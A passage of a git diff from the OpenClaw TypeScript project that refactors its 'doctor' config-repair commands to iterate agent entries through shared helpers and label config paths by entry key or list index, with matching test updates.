params.cfg.agents.list : []; - for (const [index, agent] of agents.entries()) { - const agentRecord = asMutableRecord(agent); - if (!agentRecord) { - continue; - } + for (const { agent: agentRecord, agentId: id } of listMutableCodexRouteAgentEntries(params.cfg)) { const compaction = asMutableRecord(agentRecord.compaction); const inheritsDefaultProvider = hasDefaultLosslessProvider && @@ -341,7 +323,6 @@ export function sharedDefaultLosslessCompactionHasNonCodexConsumer(params: { if (!inheritsDefaultProvider && !inheritsDefaultModel) { continue; } - const id = readAgentPathId(agentRecord, index); if ( !agentUsesCodexRuntimeForCompaction({ cfg: params.cfg, @@ -438,7 +419,3 @@ function dedupeUnsupportedCompactionOverrides( return true; }); } - -function readAgentPathId(agent: MutableRecord, index: number): string { - return typeof agent.id === "string" && agent.id.trim() ? agent.id.trim() : String(index); -} diff --git a/src/commands/doctor/shared/context-engine-host-compat.test.ts b/src/commands/doctor/shared/context-engine-host-compat.test.ts index 035c95bc4b79..9fc29226f132 100644 --- a/src/commands/doctor/shared/context-engine-host-compat.test.ts +++ b/src/commands/doctor/shared/context-engine-host-compat.test.ts @@ -11,7 +11,8 @@ import { maybeRepairContextEngineHostCompatibility, } from "./context-engine-host-compat.js"; -vi.mock("../../../agents/agent-scope-config.js", () => ({ +vi.mock("../../../agents/agent-scope-config.js", async (importOriginal) => ({ + ...(await importOriginal()), resolveDefaultAgentDir: vi.fn(() => "/tmp/openclaw-doctor-host-compat"), })); diff --git a/src/commands/doctor/shared/context-engine-host-compat.ts b/src/commands/doctor/shared/context-engine-host-compat.ts index 5a7849195503..659bf7ce4790 100644 --- a/src/commands/doctor/shared/context-engine-host-compat.ts +++ b/src/commands/doctor/shared/context-engine-host-compat.ts @@ -2,7 +2,10 @@ import { parseModelCatalogRef } from "@openclaw/model-catalog-core/model-catalog-refs"; import { uniqueStrings } from "@openclaw/normalization-core/string-normalization"; import { normalizeEmbeddedAgentRuntime } from "../../../agents/agent-runtime-id.js"; -import { resolveDefaultAgentDir } from "../../../agents/agent-scope-config.js"; +import { + listAgentEntriesWithSource, + resolveDefaultAgentDir, +} from "../../../agents/agent-scope-config.js"; import { resolveCliBackendConfig } from "../../../agents/cli-backends.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../../../agents/defaults.js"; import { resolveAgentHarnessPolicy } from "../../../agents/harness/policy.js"; @@ -102,15 +105,13 @@ function collectExplicitRuntimeRefs( push(modelConfig?.agentRuntime?.id, `agents.defaults.models.${modelRef}.agentRuntime.id`); } - cfg.agents?.list?.forEach((agent, index) => { - const agentId = typeof agent.id === "string" && agent.id.trim() ? agent.id.trim() : `${index}`; + for (const { entry: agent, source } of listAgentEntriesWithSource(cfg)) { + const path = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`; for (const [modelRef, modelConfig] of Object.entries(agent.models ?? {})) { - push( - modelConfig?.agentRuntime?.id, - `agents.list.${agentId}.models.${modelRef}.agentRuntime.id`, - ); + push(modelConfig?.agentRuntime?.id, `${path}.models.${modelRef}.agentRuntime.id`); } - }); + } return refs; } @@ -143,12 +144,13 @@ function collectSelectedModelRefs( } pushModelMap(cfg.agents?.defaults?.models, "agents.defaults.models"); - cfg.agents?.list?.forEach((agent, index) => { - const agentId = typeof agent.id === "string" && agent.id.trim() ? agent.id.trim() : undefined; - const label = agentId ?? `${index}`; - pushModel(agent.model ?? cfg.agents?.defaults?.model, `agents.list.${label}.model`, agentId); - pushModelMap(agent.models, `agents.list.${label}.models`, agentId); - }); + for (const { entry: agent, source } of listAgentEntriesWithSource(cfg)) { + const agentId = agent.id; + const path = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`; + pushModel(agent.model ?? cfg.agents?.defaults?.model, `${path}.model`, agentId); + pushModelMap(agent.models, `${path}.models`, agentId); + } return refs; } diff --git a/src/commands/doctor/shared/exec-safe-bins.ts b/src/commands/doctor/shared/exec-safe-bins.ts index 89e273259d03..70456118ee7f 100644 --- a/src/commands/doctor/shared/exec-safe-bins.ts +++ b/src/commands/doctor/shared/exec-safe-bins.ts @@ -1,5 +1,6 @@ // Doctor checks and repairs for exec safeBins profiles and trusted binary directories. import { sanitizeForLog } from "../../../../packages/terminal-core/src/ansi.js"; +import { listAgentEntriesWithSource } from "../../../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { resolveCommandResolutionFromArgv } from "../../../infra/exec-command-resolution.js"; import { @@ -68,11 +69,7 @@ function collectExecSafeBinScopes(cfg: OpenClawConfig): ExecSafeBinScopeRef[] { }); } } - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; - for (const agent of agents) { - if (!agent || typeof agent !== "object" || typeof agent.id !== "string") { - continue; - } + for (const { entry: agent, source } of listAgentEntriesWithSource(cfg)) { const agentExec = asObjectRecord(agent.tools?.exec); if (!agentExec) { continue; @@ -82,7 +79,10 @@ function collectExecSafeBinScopes(cfg: OpenClawConfig): ExecSafeBinScopeRef[] { continue; } scopes.push({ - scopePath: `agents.list.${agent.id}.tools.exec`, + scopePath: + source.kind === "entries" + ? `agents.entries.${source.key}.tools.exec` + : `agents.list.${source.index}.tools.exec`, safeBins, exec: agentExec, mergedProfiles: diff --git a/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts b/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts index 1551c54b0611..2f771e35396a 100644 --- a/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts +++ b/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts @@ -5,6 +5,7 @@ import { uniqueStrings, } from "@openclaw/normalization-core/string-normalization"; import { sanitizeServerName, TOOL_NAME_SEPARATOR } from "../../../agents/agent-bundle-mcp-names.js"; +import { listAgentEntriesWithSource } from "../../../agents/agent-scope-config.js"; import { compileGlobPatterns, matchesAnyGlobPattern } from "../../../agents/glob-pattern.js"; import { resolveProviderToolPolicy } from "../../../agents/provider-tool-policy.js"; import { @@ -85,14 +86,10 @@ function collectToolPolicySources(policy: unknown, label: string, out: ToolAllow function collectToolAllowlistSources(cfg: OpenClawConfig): ToolAllowlistSource[] { const sources: ToolAllowlistSource[] = []; collectToolPolicySources(cfg.tools, "tools", sources); - const agentList = cfg.agents?.list; - if (Array.isArray(agentList)) { - agentList.forEach((agent, index) => { - if (!hasRecord(agent)) { - return; - } - collectToolPolicySources(agent.tools, `agents.list[${index}].tools`, sources); - }); + for (const { entry: agent, source } of listAgentEntriesWithSource(cfg)) { + const label = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list[${source.index}]`; + collectToolPolicySources(agent.tools, `${label}.tools`, sources); } return sources; } @@ -281,35 +278,31 @@ function collectActiveSandboxToolPolicies( addGlobalPolicy(); } - const agentList = cfg.agents?.list; - if (Array.isArray(agentList)) { - agentList.forEach((agent, index) => { - if (!hasRecord(agent)) { - return; - } - const agentSandbox = hasRecord(agent.sandbox) ? agent.sandbox : undefined; - const explicitMode = agentSandbox?.mode; - const agentSandboxActive = - explicitMode === undefined ? defaultSandboxActive : isSandboxModeActive(explicitMode); - if (!agentSandboxActive) { - return; - } - const agentTools = hasRecord(agent.tools) ? agent.tools : undefined; - const agentToolsSandbox = hasRecord(agentTools?.sandbox) ? agentTools.sandbox : undefined; - const agentPolicy = hasRecord(agentToolsSandbox?.tools) ? agentToolsSandbox.tools : undefined; - addPolicy( - buildEffectiveSandboxToolPolicy({ - agentPolicy, - agentLabel: `agents.list[${index}].tools.sandbox.tools`, - globalPolicy, - nonSandboxToolPolicyBlocksMcp: nonSandboxToolPoliciesBlockMcp({ - cfg, - serverNames, - agent, - }), + for (const { entry: agent, source } of listAgentEntriesWithSource(cfg)) { + const agentSandbox = hasRecord(agent.sandbox) ? agent.sandbox : undefined; + const explicitMode = agentSandbox?.mode; + const agentSandboxActive = + explicitMode === undefined ? defaultSandboxActive : isSandboxModeActive(explicitMode); + if (!agentSandboxActive) { + continue; + } + const agentTools = hasRecord(agent.tools) ? agent.tools : undefined; + const agentToolsSandbox = hasRecord(agentTools?.sandbox) ? agentTools.sandbox : undefined; + const agentPolicy = hasRecord(agentToolsSandbox?.tools) ? agentToolsSandbox.tools : undefined; + const label = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list[${source.index}]`; + addPolicy( + buildEffectiveSandboxToolPolicy({ + agentPolicy, + agentLabel: `${label}.tools.sandbox.tools`, + globalPolicy, + nonSandboxToolPolicyBlocksMcp: nonSandboxToolPoliciesBlockMcp({ + cfg, + serverNames, + agent, }), - ); - }); + }), + ); } return [...out.values()]; diff --git a/src/commands/doctor/shared/preview-warnings.ts b/src/commands/doctor/shared/preview-warnings.ts index 9f7db927886f..1626a226a687 100644 --- a/src/commands/doctor/shared/preview-warnings.ts +++ b/src/commands/doctor/shared/preview-warnings.ts @@ -1,6 +1,6 @@ // Doctor preview warning aggregation for config that can surprise users before repair. import { isRecord as hasRecord } from "@openclaw/normalization-core/record-coerce"; -import { resolveAgentConfig } from "../../../agents/agent-scope-config.js"; +import { listAgentEntries, resolveAgentConfig } from "../../../agents/agent-scope-config.js"; import { normalizeToolProviderPolicyKey, resolveProviderToolPolicy, @@ -35,7 +35,7 @@ function loadChannelDoctorModule(): Promise { } function listAgentRecords(cfg: OpenClawConfig): Record[] { - return Array.isArray(cfg.agents?.list) ? cfg.agents.list.filter(hasRecord) : []; + return listAgentEntries(cfg).filter(hasRecord); } function hasChannels(cfg: OpenClawConfig): boolean { diff --git a/src/commands/doctor/shared/stale-agent-model-ref-repair.ts b/src/commands/doctor/shared/stale-agent-model-ref-repair.ts index 21f6024d6212..68bb7ce1f977 100644 --- a/src/commands/doctor/shared/stale-agent-model-ref-repair.ts +++ b/src/commands/doctor/shared/stale-agent-model-ref-repair.ts @@ -2,15 +2,17 @@ import fs from "node:fs"; import path from "node:path"; import { + listAgentEntries, resolveAgentDir, resolveAgentWorkspaceDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../../../agents/agent-scope.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../../../agents/defaults.js"; import { normalizeProviderId } from "../../../agents/model-selection.js"; import type { AgentModelConfig } from "../../../config/types.agents-shared.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { resolvePluginMetadataSnapshot } from "../../../plugins/plugin-metadata-snapshot.js"; +import { listMutableCodexRouteAgentEntries } from "./codex-route-agent-entries.js"; type StaleAgentModelRefRepair = { config: OpenClawConfig; @@ -53,7 +55,8 @@ function collectPluginProviderIds( }; } - const workspaceDir = resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg)); + const defaultAgentId = tryResolveDefaultAgentId(cfg); + const workspaceDir = defaultAgentId ? resolveAgentWorkspaceDir(cfg, defaultAgentId) : undefined; const snapshot = resolvePluginMetadataSnapshot({ config: cfg, workspaceDir: workspaceDir ?? undefined, @@ -291,8 +294,8 @@ export function repairStaleAgentModelRefs( return available; } const inheritingAgentIds: string[] = []; - for (const agent of Array.isArray(cfg.agents?.list) ? cfg.agents.list : []) { - if (!isRecord(agent) || typeof agent.id !== "string") { + for (const agent of listAgentEntries(cfg)) { + if (typeof agent.id !== "string") { continue; } const explicitPrimary = modelPrimaryRef(agent.model); @@ -308,7 +311,10 @@ export function repairStaleAgentModelRefs( } } if (inheritingAgentIds.length === 0) { - inheritingAgentIds.push(resolveDefaultAgentId(cfg)); + const defaultAgentId = tryResolveDefaultAgentId(cfg); + if (defaultAgentId) { + inheritingAgentIds.push(defaultAgentId); + } } let commonPersisted: Set | undefined; for (const agentId of inheritingAgentIds) { @@ -330,11 +336,14 @@ export function repairStaleAgentModelRefs( if (replaceMode) { return available; } - const inheritingAgentIds = (Array.isArray(cfg.agents?.list) ? cfg.agents.list : []) + const inheritingAgentIds = listAgentEntries(cfg) .filter((agent) => isRecord(agent) && typeof agent.id === "string" && !isRecord(agent.models)) .map((agent) => agent.id as string); if (inheritingAgentIds.length === 0) { - inheritingAgentIds.push(resolveDefaultAgentId(cfg)); + const defaultAgentId = tryResolveDefaultAgentId(cfg); + if (defaultAgentId) { + inheritingAgentIds.push(defaultAgentId); + } } for (const agentId of inheritingAgentIds) { const persisted = persistedForAgent(agentId); @@ -450,19 +459,14 @@ export function repairStaleAgentModelRefs( } } - for (const [index, agent] of (Array.isArray(config.agents?.list) - ? config.agents.list - : [] - ).entries()) { - if (!isRecord(agent) || typeof agent.id !== "string") { - continue; - } - const available = availabilityForAgent(agent.id); + for (const entry of listMutableCodexRouteAgentEntries(config)) { + const agent = entry.agent; + const available = availabilityForAgent(entry.agentId); if (!available) { continue; } const isStale = makeStaleChecker(available); - const modelPath = `agents.list[${index}].model`; + const modelPath = `${entry.path}.model`; const inheritedDefaultAvailable = Boolean( defaultAvailability && repairedDefaultPrimary && @@ -479,7 +483,7 @@ export function repairStaleAgentModelRefs( delete agent.model; agentPrimaryChanged = true; changes.push( - `Removed stale ${modelPath} "${staleRef}" so agent "${agent.id}" inherits the default model (provider "${provider}" is unavailable).`, + `Removed stale ${modelPath} "${staleRef}" so agent "${entry.agentId}" inherits the default model (provider "${provider}" is unavailable).`, ); } else if (repairedDefaultPrimary && !isStale(repairedDefaultPrimary)) { agent.model = repairedDefaultPrimary; @@ -494,22 +498,22 @@ export function repairStaleAgentModelRefs( } } } else if (isRecord(agent.model)) { - const provider = - typeof agent.model.primary === "string" ? isStale(agent.model.primary) : undefined; + const model = agent.model; + const provider = typeof model.primary === "string" ? isStale(model.primary) : undefined; let agentReplacement: string | undefined; - if (provider && typeof agent.model.primary === "string") { - const staleRef = agent.model.primary; + if (provider && typeof model.primary === "string") { + const staleRef = model.primary; if (canInheritDefault) { - delete agent.model.primary; + delete model.primary; agentPrimaryChanged = true; agentReplacement = repairedDefaultPrimary; changes.push( - `Removed stale ${modelPath} primary "${staleRef}" so agent "${agent.id}" inherits the default model (provider "${provider}" is unavailable).`, + `Removed stale ${modelPath} primary "${staleRef}" so agent "${entry.agentId}" inherits the default model (provider "${provider}" is unavailable).`, ); } else if ( (agentReplacement = - (Array.isArray(agent.model.fallbacks) - ? agent.model.fallbacks.find( + (Array.isArray(model.fallbacks) + ? model.fallbacks.find( (fallback) => typeof fallback === "string" && !isStale(fallback), ) : undefined) ?? @@ -517,7 +521,7 @@ export function repairStaleAgentModelRefs( ? repairedDefaultPrimary : undefined)) ) { - agent.model.primary = agentReplacement; + model.primary = agentReplacement; agentPrimaryChanged = true; changes.push( `Replaced stale ${modelPath} primary "${staleRef}" with "${agentReplacement}" (provider "${provider}" is unavailable).`, @@ -528,30 +532,31 @@ export function repairStaleAgentModelRefs( ); } } - filterFallbacks({ model: agent.model, path: modelPath, isStale, changes }); + filterFallbacks({ model, path: modelPath, isStale, changes }); if ( agentReplacement && - Array.isArray(agent.model.fallbacks) && - agent.model.fallbacks.includes(agentReplacement) + Array.isArray(model.fallbacks) && + model.fallbacks.includes(agentReplacement) ) { - agent.model.fallbacks = agent.model.fallbacks.filter( + const filteredFallbacks = model.fallbacks.filter( (fallback) => fallback !== agentReplacement, ); + model.fallbacks = filteredFallbacks; changes.push( `Removed duplicate ${modelPath} fallback "${agentReplacement}" after selecting it as the primary.`, ); - if (agent.model.fallbacks.length === 0) { - delete agent.model.fallbacks; + if (filteredFallbacks.length === 0) { + delete model.fallbacks; } } - if (!agent.model.primary && !agent.model.fallbacks) { + if (!model.primary && !model.fallbacks) { delete agent.model; } } const effectiveAgentPrimary = modelPrimaryRef(agent.model) ?? repairedDefaultPrimary; repairModelMap({ - models: agent.models, - path: `agents.list[${index}].models`, + models: isRecord(agent.models) ? agent.models : undefined, + path: `${entry.path}.models`, isStale, replacementRef: effectiveAgentPrimary && !isStale(effectiveAgentPrimary) diff --git a/src/commands/doctor/shared/stale-auth-order.test.ts b/src/commands/doctor/shared/stale-auth-order.test.ts index ae6a7204a268..2f56005e3f17 100644 --- a/src/commands/doctor/shared/stale-auth-order.test.ts +++ b/src/commands/doctor/shared/stale-auth-order.test.ts @@ -494,6 +494,7 @@ describe("repairStaleConfiguredAuthOrders", () => { closeOpenClawAgentDatabasesForTest(); closeOpenClawStateDatabaseForTest(); const cfg = { + agents: { list: [{ id: "main", default: true }] }, auth: { order: { anthropic: ["anthropic:missing"] } }, } satisfies OpenClawConfig; @@ -578,6 +579,7 @@ describe("repairStaleConfiguredAuthOrders", () => { JSON.stringify(tokenStore({ profileId: "anthropic:legacy", provider: "anthropic" })), ); const cfg = { + agents: { list: [{ id: "main", default: true }] }, auth: { order: { anthropic: ["anthropic:missing"] } }, } satisfies OpenClawConfig; @@ -599,6 +601,7 @@ describe("repairStaleConfiguredAuthOrders", () => { path.join(stateDir, "agents", "retained", "agent"), ); const cfg = { + agents: { list: [{ id: "main", default: true }] }, auth: { order: { anthropic: ["anthropic:missing"] } }, } satisfies OpenClawConfig; @@ -994,6 +997,7 @@ describe("repairStaleConfiguredAuthOrders", () => { closeOpenClawAgentDatabasesForTest(); closeOpenClawStateDatabaseForTest(); const cfg = { + agents: { list: [{ id: "main", default: true }] }, auth: { order: { anthropic: ["anthropic:missing"] } }, } satisfies OpenClawConfig; @@ -1145,6 +1149,7 @@ describe("repairStaleConfiguredAuthOrders", () => { closeOpenClawAgentDatabasesForTest(); closeOpenClawStateDatabaseForTest(); const cfg = { + agents: { list: [{ id: "main", default: true }] }, auth: { order: { anthropic: ["anthropic:missing"] } }, } satisfies OpenClawConfig; @@ -1284,6 +1289,7 @@ describe("repairStaleConfiguredAuthOrders", () => { closeOpenClawStateDatabaseForTest(); await fs.rm(databasePath); const cfg = { + agents: { list: [{ id: "main", default: true }] }, auth: { order: { anthropic: ["anthropic:missing"] } }, } satisfies OpenClawConfig; diff --git a/src/commands/doctor/shared/stale-auth-order.ts b/src/commands/doctor/shared/stale-auth-order.ts index 14cdbfa59f14..7d31cad1e720 100644 --- a/src/commands/doctor/shared/stale-auth-order.ts +++ b/src/commands/doctor/shared/stale-auth-order.ts @@ -1,11 +1,7 @@ // Repairs configured auth orders whose referenced profiles no longer exist. import fs from "node:fs"; import path from "node:path"; -import { - listAgentIds, - resolveAgentDir, - resolveDefaultAgentDir, -} from "../../../agents/agent-scope-config.js"; +import { listAgentIds, resolveAgentDir } from "../../../agents/agent-scope-config.js"; import { listRuntimeExternalAuthProfiles } from "../../../agents/auth-profiles/external-auth.js"; import { resolveAuthProfileOrder } from "../../../agents/auth-profiles/order.js"; import { @@ -32,7 +28,10 @@ import type { AuthProfileStore } from "../../../agents/auth-profiles/types.js"; import { resolveProviderIdForAuth } from "../../../agents/provider-auth-aliases.js"; import { resolveStateDir } from "../../../config/paths.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../../../routing/session-key.js"; +import { + LEGACY_IMPLICIT_AGENT_ID as DEFAULT_AGENT_ID, + normalizeAgentId, +} from "../../../routing/session-key.js"; import { inspectOpenClawAgentDatabaseOwner, listOpenClawRegisteredAgentDatabases, @@ -291,7 +290,7 @@ function loadConfiguredAgentAuthStores( } // Every secondary agent inherits the legacy main store at runtime, even when // `agents.list` names a different default agent. - const mainAgentDir = path.resolve(resolveDefaultAgentDir({}, env)); + const mainAgentDir = path.join(resolveStateDir(env), "agents", DEFAULT_AGENT_ID, "agent"); const activeAgentDirs = new Set(); const expectedAgentIdsByDir = new Map>(); const addExpectedAgentDir = (agentDir: string, agentId: string) => { diff --git a/src/commands/doctor/shared/stale-oauth-profile-shadows.ts b/src/commands/doctor/shared/stale-oauth-profile-shadows.ts index e4d42a2c384c..9cede94c2274 100644 --- a/src/commands/doctor/shared/stale-oauth-profile-shadows.ts +++ b/src/commands/doctor/shared/stale-oauth-profile-shadows.ts @@ -3,11 +3,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { expectDefined } from "@openclaw/normalization-core"; import { isRecord } from "@openclaw/normalization-core/record-coerce"; -import { - resolveAgentDir, - resolveDefaultAgentDir, - listAgentEntries, -} from "../../../agents/agent-scope.js"; +import { resolveAgentDir, listAgentEntries } from "../../../agents/agent-scope.js"; import { isLegacyOAuthRef, LEGACY_OAUTH_REF_PROVIDER, @@ -23,6 +19,7 @@ import { updateAuthProfileStoreWithLock } from "../../../agents/auth-profiles/st import type { AuthProfileStore, OAuthCredential } from "../../../agents/auth-profiles/types.js"; import { resolveStateDir } from "../../../config/paths.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; +import { LEGACY_IMPLICIT_AGENT_ID } from "../../../routing/session-key.js"; import { shortenHomePath } from "../../../utils.js"; type StaleOAuthProfileShadow = { @@ -116,7 +113,7 @@ export async function scanStaleOAuthProfileShadows(params: { }): Promise { const env = params.env ?? process.env; const now = params.now ?? Date.now(); - const mainAgentDir = resolveDefaultAgentDir({}, env); + const mainAgentDir = path.join(resolveStateDir(env), "agents", LEGACY_IMPLICIT_AGENT_ID, "agent"); const mainAuthPath = path.resolve(resolveAuthStorePath(mainAgentDir)); const mainStore = loadPersistedAuthProfileStore(mainAgentDir); if (!mainStore) { @@ -297,7 +294,9 @@ export async function repairStaleOAuthProfileShadows(params: { byAgentDir.set(hit.agentDir, existing); } for (const [agentDir, agentHits] of byAgentDir) { - const mainStore = loadPersistedAuthProfileStore(resolveDefaultAgentDir({}, env)); + const mainStore = loadPersistedAuthProfileStore( + path.join(resolveStateDir(env), "agents", LEGACY_IMPLICIT_AGENT_ID, "agent"), + ); if (!mainStore) { continue; } diff --git a/src/commands/doctor/shared/stale-plugin-config.ts b/src/commands/doctor/shared/stale-plugin-config.ts index b8c003b6c97e..6fa686e3c968 100644 --- a/src/commands/doctor/shared/stale-plugin-config.ts +++ b/src/commands/doctor/shared/stale-plugin-config.ts @@ -1,6 +1,6 @@ // Doctor scanner and repair for plugin/channel config that references missing plugins. import { sanitizeForLog } from "../../../../packages/terminal-core/src/ansi.js"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../../../agents/agent-scope.js"; +import { resolveAgentWorkspaceDir, tryResolveDefaultAgentId } from "../../../agents/agent-scope.js"; import { CHANNEL_IDS } from "../../../channels/ids.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { normalizePluginId } from "../../../plugins/config-state.js"; @@ -11,6 +11,7 @@ import { resolveOfficialExternalPluginId, } from "../../../plugins/official-external-plugin-catalog.js"; import { defaultSlotIdForKey, type PluginSlotKey } from "../../../plugins/slots.js"; +import { listMutableCodexRouteAgentEntries } from "./codex-route-agent-entries.js"; import { asObjectRecord } from "./object.js"; import { filterRepairableStalePluginHits, @@ -39,7 +40,8 @@ function collectPluginRegistryState( env?: NodeJS.ProcessEnv, ): StalePluginRegistryState { const environment = env ?? process.env; - const workspaceDir = resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg)); + const defaultAgentId = tryResolveDefaultAgentId(cfg); + const workspaceDir = defaultAgentId ? resolveAgentWorkspaceDir(cfg, defaultAgentId) : undefined; const registry = loadManifestMetadataSnapshot({ config: cfg, workspaceDir: workspaceDir ?? undefined, @@ -254,15 +256,15 @@ function collectDependentChannelConfigHits( surface: "heartbeat", }); } - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; - for (const [index, agent] of agents.entries()) { - const target = agent?.heartbeat?.target; + for (const { agent, path } of listMutableCodexRouteAgentEntries(cfg)) { + const heartbeat = asObjectRecord(agent.heartbeat); + const target = heartbeat?.target; if (typeof target !== "string" || !staleChannelIds.has(normalizePluginId(target))) { continue; } hits.push({ pluginId: target, - pathLabel: `agents.list.${index}.heartbeat.target`, + pathLabel: `${path}.heartbeat.target`, surface: "heartbeat", }); } @@ -509,9 +511,8 @@ function removeDanglingChannelReferences(config: OpenClawConfig, channelIds: rea ) { delete defaultsHeartbeat.target; } - const agents = Array.isArray(config.agents?.list) ? config.agents.list : []; - for (const agent of agents) { - const heartbeat = agent.heartbeat; + for (const { agent } of listMutableCodexRouteAgentEntries(config)) { + const heartbeat = asObjectRecord(agent.heartbeat); if ( heartbeat && typeof heartbeat.target === "string" && diff --git a/src/commands/doctor/shared/stale-subagent-allowlist.test.ts b/src/commands/doctor/shared/stale-subagent-allowlist.test.ts index 8a7de8101673..b70557960221 100644 --- a/src/commands/doctor/shared/stale-subagent-allowlist.test.ts +++ b/src/commands/doctor/shared/stale-subagent-allowlist.test.ts @@ -35,7 +35,7 @@ describe("stale subagent allowlist doctor repair", () => { normalizedAgentId: "stale-default", }, { - pathLabel: "agents.list.0.subagents.allowAgents", + pathLabel: "agents.list.main.subagents.allowAgents", agentId: "stale-main", normalizedAgentId: "stale-main", }, @@ -100,7 +100,7 @@ describe("stale subagent allowlist doctor repair", () => { expect(result.config.agents?.list?.[0]?.subagents?.allowAgents).toStrictEqual(["*", "planner"]); expect(result.changes).toStrictEqual([ "- agents.defaults.subagents.allowAgents: removed 1 stale subagent target id (stale)", - "- agents.list.0.subagents.allowAgents: removed 1 stale subagent target id (stale-main)", + "- agents.list.main.subagents.allowAgents: removed 1 stale subagent target id (stale-main)", ]); }); diff --git a/src/commands/doctor/shared/stale-subagent-allowlist.ts b/src/commands/doctor/shared/stale-subagent-allowlist.ts index 8f76f4ca17ba..577ce2239283 100644 --- a/src/commands/doctor/shared/stale-subagent-allowlist.ts +++ b/src/commands/doctor/shared/stale-subagent-allowlist.ts @@ -1,7 +1,8 @@ // Doctor scanner and repair for subagent allowlists that reference missing agents. -import { listAgentIds } from "../../../agents/agent-scope-config.js"; +import { listAgentEntries, listAgentIds } from "../../../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { normalizeAgentId, normalizeOptionalAgentId } from "../../../routing/session-key.js"; +import { listMutableCodexRouteAgentEntries } from "./codex-route-agent-entries.js"; type StaleSubagentAllowlistHit = { /** Config path containing the stale allowAgents entry. */ @@ -14,7 +15,7 @@ type StaleSubagentAllowlistHit = { function collectConfiguredSubagentTargetIds(cfg: OpenClawConfig): Set { const ids = new Set(listAgentIds(cfg)); - for (const agent of cfg.agents?.list ?? []) { + for (const agent of listAgentEntries(cfg)) { if (agent.runtime?.type !== "acp") { continue; } @@ -88,12 +89,14 @@ export function scanStaleSubagentAllowlistReferences( configuredTargetIds, }), ); - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; - for (const [index, agent] of agents.entries()) { + for (const { agent, path } of listMutableCodexRouteAgentEntries(cfg)) { hits.push( ...collectStaleAllowlistEntries({ - allowAgents: agent?.subagents?.allowAgents, - pathLabel: `agents.list.${index}.subagents.allowAgents`, + allowAgents: + agent.subagents && typeof agent.subagents === "object" + ? (agent.subagents as { allowAgents?: unknown }).allowAgents + : undefined, + pathLabel: `${path}.subagents.allowAgents`, configuredTargetIds, }), ); @@ -153,16 +156,19 @@ export function maybeRepairStaleSubagentAllowlists(cfg: OpenClawConfig): { }); } - const agents = Array.isArray(next.agents?.list) ? next.agents.list : []; - for (const [index, agent] of agents.entries()) { - const pathLabel = `agents.list.${index}.subagents.allowAgents`; + for (const { agent, path } of listMutableCodexRouteAgentEntries(next)) { + const pathLabel = `${path}.subagents.allowAgents`; const agentHits = hitsByPath.get(pathLabel) ?? []; - if (agentHits.length === 0 || !Array.isArray(agent?.subagents?.allowAgents)) { + const subagents = + agent.subagents && typeof agent.subagents === "object" + ? (agent.subagents as { allowAgents?: string[] }) + : undefined; + if (agentHits.length === 0 || !Array.isArray(subagents?.allowAgents)) { continue; } const staleTargetIds = new Set(agentHits.map((hit) => hit.normalizedAgentId)); - agent.subagents.allowAgents = filterAllowAgents({ - allowAgents: agent.subagents.allowAgents, + subagents.allowAgents = filterAllowAgents({ + allowAgents: subagents.allowAgents, staleTargetIds, }); } diff --git a/src/commands/health.ts b/src/commands/health.ts index 1223cc31b813..7c2e1baf6022 100644 --- a/src/commands/health.ts +++ b/src/commands/health.ts @@ -4,7 +4,7 @@ import { resolveTimerTimeoutMs } from "@openclaw/normalization-core/number-coerc import { asNullableRecord } from "@openclaw/normalization-core/record-coerce"; import { styleHealthChannelLine } from "../../packages/terminal-core/src/health-style.js"; import { isRich } from "../../packages/terminal-core/src/theme.js"; -import { resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { listAgentEntries, resolveDefaultAgentId } from "../agents/agent-scope.js"; import { inspectChannelAccount } from "../channels/account-inspection.js"; import { redactChannelStatusSummaryBaseUrl } from "../channels/account-snapshot-fields.js"; import { @@ -335,7 +335,7 @@ const resolveHeartbeatSummary = (cfg: OpenClawConfig, agentId: string) => const resolveAgentOrder = (cfg: OpenClawConfig) => { const defaultAgentId = resolveDefaultAgentId(cfg); - const entries = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; + const entries = listAgentEntries(cfg); const seen = new Set(); const ordered: Array<{ id: string; name?: string }> = []; diff --git a/src/commands/onboard-agent.persistence.test.ts b/src/commands/onboard-agent.persistence.test.ts new file mode 100644 index 000000000000..1820e7be6d7d --- /dev/null +++ b/src/commands/onboard-agent.persistence.test.ts @@ -0,0 +1,62 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { withTempHome } from "openclaw/plugin-sdk/test-env"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import { + readConfigFileSnapshot, + replaceConfigFile, + resetConfigRuntimeState, +} from "../config/config.js"; +import { captureEnv, setTestEnvValue } from "../test-utils/env.js"; +import { ensureOnboardingAgent } from "./onboard-agent.js"; + +describe("onboarding authored config persistence", () => { + let envSnapshot: ReturnType; + + beforeEach(() => { + envSnapshot = captureEnv(["OPENCLAW_TOKEN"]); + }); + + afterEach(() => { + envSnapshot.restore(); + resetConfigRuntimeState(); + }); + + it("retains env references and includes through the real snapshot writer", async () => { + await withTempHome(async (home) => { + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const includePath = 